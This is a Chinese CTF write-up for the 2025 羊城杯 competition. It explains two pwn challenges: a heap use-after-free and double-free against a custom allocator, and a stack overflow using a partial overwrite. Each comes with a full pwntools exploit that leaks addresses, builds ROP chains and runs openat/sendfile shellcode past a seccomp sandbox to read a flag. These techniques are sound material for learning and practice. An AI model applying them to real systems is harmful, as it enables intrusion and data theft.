羊城杯2025 wp
1.malloc
checksec发现保护全开

这题看题目是道堆题,但是实际上是自己来实现malloc和free的,先来看一下伪代码,主函数就是常规菜单就略过了。
可以看到初始化函数开了沙箱,用seccomp-tools dump ./heap 可以发现禁用了execve,所以这题只能打orw了

重点看一下add函数,发现把堆结构存在了chunk_ptrs[512]的位置,把大小存在了chunk_ptrs[528]的位置,

然后就是自己实现的malloc,这里并没有花费太多精力逆,自己申请几个堆块调试一下能很快弄懂逻辑。

现在来申请两个堆块调试一下,双击刚才的chunk_ptrs找到它的偏移地址,又因为chunk_list开始于chunk_ptrs[512],因为是QWORD数组,所以chunk_list所在的偏移就是0x5200+512*8也就是0x6200

先申请两个堆块进入gdb调试

由于开了pie,所以要加上pie基地址来查看结构,这张图就很清晰了,分别找到了存储堆结构的地址和堆指针的地址

搞懂了add函数,下面看delete函数,可以发现删除堆的时候只把堆大小指针置零,并没有把堆指针置零,那就是uaf漏洞,

点进去伪free函数,发现可以绕过double free检测,free掉一个堆块后再free 14个就可以再次free同一个堆块

下面结合exp分析思路,先申请0和1号堆块,后面13个是为了后续的绕过double free,暂时先不管,先后delete掉1号和0号堆块,那么此时bin中的结构就是 bin头:0——>1,由于堆结构是伪造的,其实它们都在数组中,那么0号堆块的fd指向的其实也就是一个data段的地址,因为有uaf漏洞,0号堆块指针依然可以用,我们可以通过show(0)来算出和pie基地址的偏移,从而得到pie基地址

之后释放掉13个chunk,现在bin中的chunk1前面有了算上0号chunk的一共14个chunk,我们可以再次释放chunk1,double free的核心思想是能创造两个索引指向同一个堆块,所以申请15号chunk,现在15和1这两个索引都指向chunk1,接着把中间13个堆块和0号堆块都申请出来,现在bin头:chunk1,我们可以edit 15号chunk将该chunk的fd改为chunk_list的地址,那么此时bin头:chunk1——>chunk_list,这里讲一下减0x10,这是为了我们申请出来chunk_list后编辑它的时候能直接控制chunk0,也可以不减,那编辑chunk_list的时候就是修改的chunk2。接着连续申请两个chunk出来,3号索引就指向了chunk_list-0x10,我们编辑3号chunk的fd为puts_got的地址也就修改了0号索引为puts_got地址,show(0)即可打印puts_got的内容

接着用同样的方法泄露environ的值,这个值是一个栈地址,我们可以在show函数前面gdb.attach、pause断在这,然后断点在show函数的ret+pie,算出来ret和泄露的stack的偏移,就得到了ret的地址

有了ret的地址,我们可以修改3号索引的fd即0号索引为ret的地址,然后edit 0号索引从而就可以控制ret为我们自己写的ropchain,但是发现orw的payload大于0x70,所以先ret到一个自己写的read函数,将rsi也就是read内容的地址写成read的ret地址,然后sendline我们的orw的payload即可执行payload。

下面是找read的ret的地址,与stack偏移为0x100,也就是和第一个算的ret的偏移为0x40

至此这道题就打完了,另外附一下看学长wp学到的写ropchain的工具,感觉很方便

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| from pwn import * from LibcSearcher import * #p=remote("node5.buuoj.cn",27330) p=process("./heap_patched") context(os="linux",arch="amd64",log_level="debug") context.terminal = ['tmux', 'splitw', '-h'] elf=ELF("./heap_patched") libc=ELF('./libc.so.6')
def add(index,length): p.recvuntil(b"=======================") p.sendline(b'1') p.recvuntil(b'Index') p.sendline(str(index)) p.recvuntil(b"size") p.sendline(str(length)) def edit(idx,length,name): p.recvuntil(b'=======================') p.sendline(b'3') p.recvuntil("Index") p.sendline(str(idx)) p.recvuntil(b"size") p.sendline(str(length)) p.sendline(name) def delete(idx): p.recvuntil(b"=======================") p.sendline(b"2") p.recvuntil(b"Index") p.sendline(str(idx)) def show(idx): p.recvuntil(b"=======================") p.sendline(b"4") p.recvuntil(b'Index') p.sendline(str(idx))
add(0,0x70) add(1,0x70)
for i in range(13): add(i+2,0x70)
delete(1) delete(0)
show(0) p.recvuntil(b'\n') elf.address=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x5280
log.success('pie_base--->'+hex(elf.address))
for i in range(13): delete(i+2)
delete(1)
add(15,0x70)
for i in range(13): add(14-i,0x70) add(0,0x70)
edit(15,8,p64(elf.address+0x5200+0x1000-0x10))
add(2,0x70) #chunk1 add(3,0x70) #chunk_list-0x10 edit(3,8,p64(elf.got['puts'])) show(0)
p.recvuntil(b'\n') libc.address=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-libc.sym['puts'] log.success('libc_base--->'+hex(libc.address))
edit(3,8,p64(libc.sym['environ']))
show(0)
p.recvuntil(b'\n') stack=u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
log.success('stack--->'+hex(stack))
ret_addr = stack - 0x140
edit(4,0x70,b'flag\x00\x00\x00\x00') flag_addr=elf.address+0x210+0x5200
rdi=0x000000000002a3e5+libc.address rsi=0x000000000002be51+libc.address rdx_rbx=0x00000000000904a9+libc.address open=libc.sym['open'] read=elf.sym['read'] puts=elf.sym['puts']
payload=p64(rdi)+p64(0)+p64(rsi)+p64(ret_addr+0x40)+p64(rdx_rbx)+p64(0x200)+p64(0)+p64(read) edit(3,0x70,p64(ret_addr))
# gdb.attach(p) # pause()
edit(0,0x70,payload)
payload=p64(rdi)+p64(flag_addr) payload+=p64(rsi)+p64(0)+p64(open) payload+=p64(rdi)+p64(3) payload+=p64(rsi)+p64(elf.address+0x4000) payload+=p64(rdx_rbx)+p64(0x50)+p64(0)+p64(read) payload+=p64(rdi)+p64(elf.address+0x4000)+p64(puts) p.sendline(payload)
# rop = ROP(libc, base=ret_addr) # rop.read(0,ret_addr+0x40,0x200)
# edit(3,0x70,p64(ret_addr)) # edit(0,0x70,rop.chain())
# rop = ROP(libc, base=ret_addr+0x40) # rop.open(b'./flag', 0) # rop.read(3, ret_addr+0x240, 0x50) # rop.puts(ret_addr+0x240) # log.success('len--->'+hex(len(rop.chain()))) # p.sendline(rop.chain())
p.interactive()
|
2.Stack_Over_Flow
发现除了canary所有保护都开了

审计一下ida,初始化函数,发现开了沙箱,seccomp-tools看到禁用了execve和open,所以可以用openat代替open来打orw。然后申请了一个堆块

看主函数,一个read函数向堆中输入数据,并没有什么头绪,但由于题目名称是栈溢出,我们可以看一下ret的返回地址

在send前面gdb.attach,进到gdb后在main的ret处下断点,发现输入点距离ret的偏移为0x108,那么我们就相当于可以实现栈溢出。

现在面临另一个难题,程序开了pie,我们不能随意控制我们溢出的地址,这时发现了一个函数可以泄露一个magic number,我们在初始化函数中见到过这个变量

qword_4040是main乘一个随机数qword_4038,往上看for循环可以发现,如果4038小于等于2就一直循环,同时它也一直%5,所以范围就是0到4,加上大于等于2的条件可以确定这个数不是3就是4,那么上面那个函数泄露的值就是main地址乘3或者乘4。

现在目的就很明确了,有了main地址就有pie基地址了,所以我们要想办法ret到这个函数上,然后观察之前的gdb图,观察ret到的地址发现倒数第三四位都是13的,那就可以覆盖ret的低字节为该函数的低字节来返回到该函数

第一次用\x57,发现卡栈了

所以要调整栈帧,由于目前还不知道pie基地址所以拿不到ret的地址,但是可以发现该函数第一行汇编是sub rsp,8,去掉这一行从135F开始就可以调整栈帧了,所以把低字节改成’\x5F’即可
如下图来泄露pie基地址

有了pie基地址我们就可以迁移到任意函数地址了,接下来泄露libc,但是发现找不到程序的gadgets来控制rdi,所以只能从汇编中找已有的gadgets,这次学到了用stdout来泄露libc地址,这一行把stdout给了rax。

接下来的目标是找到mov rdi,rax,在main函数的puts找到了这个gadgets。有一点需要注意的是,上一张图中下面圈出来的部分有add rsp,8,相当于向下移了8字节,也就是说我们不能直接在第一个gadgets后面放第二个,这样就会跳过第二个gadgets的第一行,所以我们要填充8字节的deedbeef

下面是泄露libc的exp

有了libc后我们就要什么有什么了,这里先用溢出 (注意溢出偏移不一样了,变成了0x118,原因是覆盖地址改成了read的ret而不是函数的ret) 用mprotect给权限再构造一个read,最后返回到read读入的地址,为了返回并执行shellcode

最后发送openat和sendfile构成的shellcode即可打通

完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| from pwn import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] p=process('./pwn_patched') #p=remote('45.40.247.139',32648) elf=ELF('./pwn_patched') libc=ELF('./libc.so.5')
p.recvuntil("Good luck!") payload=b'a'*0x108+b"\x5f"
p.send(payload)
p.recvuntil(b'magic number:') main_addr=int(p.recvline().strip()) log.success('main_addr *(3 or 4)--->'+hex(main_addr)) main=main_addr//4 log.success('main --->'+hex(main)) pie_base=main-0x16B0 log.success('pie_base--->'+hex(pie_base))
libc_to_rax=0x12E8+pie_base rax_to_rdi_puts=0x162B+pie_base
p.recvuntil("Good luck!")
payload=b'a'*0x108+p64(libc_to_rax)+p64(0xdeedbeef)+p64(rax_to_rdi_puts) # gdb.attach(p) # pause() p.sendline(payload)
p.recvuntil(b'\n') leak=u64(p.recv(6).ljust(8,b'\x00')) log.success('leak--->'+hex(leak))
libc_base=leak- 0x21b780 log.success('libc_base--->'+hex(libc_base))
rdi = libc_base + 0x000000000002a3e5 mprotect = libc_base + libc.sym['mprotect'] read = libc_base + libc.sym['read'] bss=pie_base+0x4000
pop_rsi_r15 = libc_base + 0x000000000002a3e3 pop_rdx_rbx = libc_base + 0x00000000000904a9
payload=b'a'*0x118 payload+=p64(rdi)+p64(bss) payload+=p64(pop_rsi_r15)+p64(0x3000)+p64(0) payload+=p64(pop_rdx_rbx)+p64(7)+p64(0) payload+=p64(mprotect) payload+=p64(rdi)+p64(0) payload+=p64(pop_rsi_r15)+p64(bss+0x600)+p64(0) payload+=p64(pop_rdx_rbx)+p64(0x100)+p64(0) payload+=p64(read) payload+=p64(bss+0x600)
p.sendline(payload)
shellcode=asm(''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x500 push SYS_sendfile pop rax syscall ''')
p.sendline(shellcode)
p.interactive()
|